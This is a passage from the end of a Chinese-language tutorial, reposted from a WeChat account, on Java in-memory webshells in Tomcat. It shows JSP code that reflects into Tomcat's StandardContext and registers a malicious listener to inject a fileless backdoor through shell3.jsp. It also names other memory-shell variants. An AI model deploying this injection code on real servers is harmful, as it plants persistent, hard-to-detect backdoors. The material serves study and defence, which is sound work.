ApplicationContextContext.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
StandardContextContext.setAccessible(true);
StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
// 下面模拟 ServletContext::addListener 方法中的动态生成内存马的代码块...
standardContext.addApplicationEventListener(new MyListener());
%>
访问shell3.jsp
注入内存马, 最终运行结果:
Ending…
当然了, 关于内存马的分类还有很多, 例如 Spring Controller 内存马, Spring Interceptor 内存马, Tomcat Valve 内存马原理以及如何查杀内存马等问题, 笔者将放在后续进行讲解…
原文始发于微信公众号(Heihu Share):深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术